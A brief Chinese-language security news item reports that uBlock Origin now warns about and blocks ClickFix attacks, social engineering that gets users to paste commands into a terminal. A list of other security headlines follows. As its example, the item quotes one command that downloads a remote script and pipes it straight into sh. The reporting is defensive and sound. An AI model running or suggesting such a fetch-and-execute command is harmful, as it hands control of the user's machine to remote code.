ClickFix 攻击泛滥到 uBlock Origin 专门拦截 wget|sh 命令
kingslyj · x · 2026-11-10
- 安全研究员 @endermanch 展示截图：uBlock Origin 现已内置拦截机制，在网页上直接警告并拦截疑似 ClickFix 攻击的命令，示例为 wget -O - https://mirror.podkop.net/urjw/scripts/bootstrap.sh | sh。
- ClickFix 是诱导用户从网页复制粘贴命令到终端执行的社工攻击手法；uBlock 专门为其做拦截功能，作者感叹社会计算机素养已下滑到这一步。
「安全」频道最新
- 美国民主党 AI 监管 wish-list：训练许可、AI 部门、高管刑责与 kill switch — mimi10v3 · 2026-11-10
- 开源 Monomem:让 Claude Code 与多 Agent 共享记忆并防投毒 — Mother-Side6477 · 2026-11-10
- ai-credential-guard 开源:用 JEV 决策层拦住 AI 编码工具外泄密钥 — Long_Philosopher3520 · 2026-11-10
- Anthropic 称新模型自动化研发加速能力未达 RSP 阈值,Zvi 质疑时机 — TheZvi · 2026-11-10
- AI 公司开始封杀「Reverse Engineer Anything」：最酷玩法遭围剿 — julian88888888 · 2026-11-10
- 作者弃用域名后惊现“AI 还魂网站”：项目被冒名复制、原住民照片被盗用 — jonippolito · 2026-11-10